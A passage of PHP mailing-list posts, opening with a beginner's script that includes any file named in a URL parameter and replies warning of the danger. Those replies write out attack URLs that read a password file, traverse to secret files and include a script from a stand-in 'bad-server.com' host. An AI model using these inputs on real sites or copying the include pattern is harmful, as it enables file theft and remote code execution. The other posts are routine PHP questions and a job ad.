Hi,
I'm new to PHP and I'd appreciate your advice a lot.
I'm trying to use dynamic PHP links instead of plain HTML and I'm gonna use
something like
this:
File "index.php":
<?
<a href=index.php?content=story.htm>story</a><br>
<a href=index.php?content=about.htm>about</a><br>
<?
if(isset($content)):
include $content;
else:
include "about.htm";
endif;
?>
But a guy told me it is not preferable to use this method because of security
considerations.
I'm sure there is a common way of building dynamic links; am I on wrong way?
Any help would be appreciated.
Thank you in advance
Best regards,
Eduard Grigoryan

Hey,
The reason your pal warned you against that approach is, someone could screw
with your url with something like this:
index.php?content=/etc/httpd/.dbmpasswd
which would include that file if it exists...its a security problem, be
careful and know EXACTLY what you are including/requiring.

You can search the list archives for posts regarding this topic (it
comes up alot).
There are safer ways to do what you are doing. One simple way to "hack"
your script as written above would be to type :
index.php?content=../some/secret/file.txt
or,
index.php?content=http://www.bad-server.com/badscript.php
in the browser's address bar.

Hi,
I have am trying to create functions to convert strings to ascii and vice
versa:
function string_to_ascii( $str ) {
for( $i=0; $i < strlen( $str ); $i++ ) {
$asc .= ord( substr( $str, $i ) );
}
return $asc;
}
This function works fine, however I need to ensure that the ASCII
convertions are three digits long so that I know where to split the ASCII
string when converting back to a normal string. i.e. 97 must be 097.
Thanks for any advice offered

You should be able to do this quite well with the str_pad() function.

or do something like:
function string_to_ascii( $str ) {
for( $i=0; $i < strlen( $str ); $i++ ) {
$ret = ord( substr( $str, $i ) );
$asc .= (string) ($ret < 10 ? '00' : ($ret < 100 ? '0' : '')) . $ret;
}
return $asc;

You might try googling for some existing classes that do this.

Good day to you. We are looking for two or three programmers who want to
make some money, are self motivated, are prepared to take a gamble after
thoroughly investigating the risk, have excellent University results in
computer sciences and in particular have experience in of most, if not all,
of PHP, JavaScript, PostgreSQL /MySQL, HTML and CSS. GNU Linux will be used
for both development and production. We assume that you will be running GNU
Linux and have an Apache httpd server. This is a web application that will
require many technologies including SMS, both outgoing and parsing incoming
email, contact management and management reporting.
If the above matches you then we would be prepared to discuss our plans with
you and, if we click, invite you to join us.
Our project, an application for the web, is being developed on a speculative
basis having identified a gap in the market. We are therefore looking for
partners who will own a percentage of the final business. You will therefore
need to be self financed for the first 6 months.
As you would expect we will require you to agree and sign a Non-Disclosure
Agreement.
Our head office is in London. Whereas communication will be electronic face
to face discussions are occasionally useful.
Please reply to [EMAIL PROTECTED] with whatever information you feel is
relevant.

$_GET[section] is slower than $_GET['section'], and quite significantly!

Hello all,
On the main page of my website I have written a very simple comments feature
that allows people to leave a message under my posts, much like a blog. I
have purposely kept this very simple...
On the main page I have simple text links that someone can click on if they
want to leave a note. Clicking the link passes a variable $postid (a simple
int) to the backend script, which tells the database which 'blog entry' the
comment is attached to.
The problem is that after playing around with this a bit, it is clear that
someone can craft a url with an arbitrary $postid that is not in the database
yet. Now naively, it would seem that the worst someone could do is just
create arbitrary entries in the DB that may come back to bite me when I
actually _use_ the arbitrary postid down the road.
What I want to do is make sure that someone cannot create a post with a
$postid value greater than the largest $postid I have used so far.
Now, I thought about using a quick sql query to get the largest postid from
the DB and check that, but this will not work because of my own bad DB design
(I'm really just a hobbyist here...) in that if there are no comments
attached to a blog entry, then the postid for that entry is _not_ in the DB
until I get one.
So, I guess my option is to either create another DB table with only the valid
postid's in it and check that, or perhaps use a regexp to grab the highest
postid from the html link (which would be the one closest to the top of the
page).
I really don't want to have to change the current DB table, or have to update
one manually when I ad a new post on the main page.
I guess my question is if there is an easier way to validate the postid value
passed in the url. How would you do it?
If you need more info, please just ask...
Thanks,

Hello all,
Does anyone upgraded from MySQL 4.0 to MySQL 4.1 using PHP 4 code?
If so, what are the changes that were required on the code?
PHP website says that it is required to install a new MySQL extension.
I am doing PHP4 programming under Linux.
What do you suggest that I should be aware while upgrading the server?
Thank you,
C.F.

Hiya -
I want to create a class that inherits from a database object.
eg I have my own "user" Class, with general methods that do calculations etc.
However, it also reflects a table of the database, eg "age, location".
I want some methods called on the object to be handled by my class, but other
so at constructor time, something like
$this->parent = mysql_fetch_object($res); // returns a mysql obj with
age, loc etc records
then ...
$age = $userObj->age; // this actually comes straight from the dbase obj
$rating = $userObj->rating; // a public var calculated at construction
$life = $userObj->getSpend(); // this is a method to do a calc.
I could use a component (is the right OOP pattern word?)
$age = $userObj->dbObj->age
but I wanted to hide where the items are coming from. Also i want to
be able to just keep adding to the database without having to create
gettter/settter functions for everything...
I think python had some nice means of doing get/set functions
transparently, does PHP5 have anything like this?
very basically, add a __get() function to your User class.
(or its base class or whatever):
function __get($var)
{
// $userObj->dbObj should be protected/private
if (isset($this->dbObj->$var)) {
return $this->dbObj->$var;
}
}
if you now do:
echo $userObj->rating;
echo $userObj->age;
this will output as if you had called:
echo $userObj->dbObj->rating;
echo $userObj->dbObj->age;
assuming that rating and age don't exist as public properties in $userObj,
and do exist in $userObj->dbObj.
thanks!
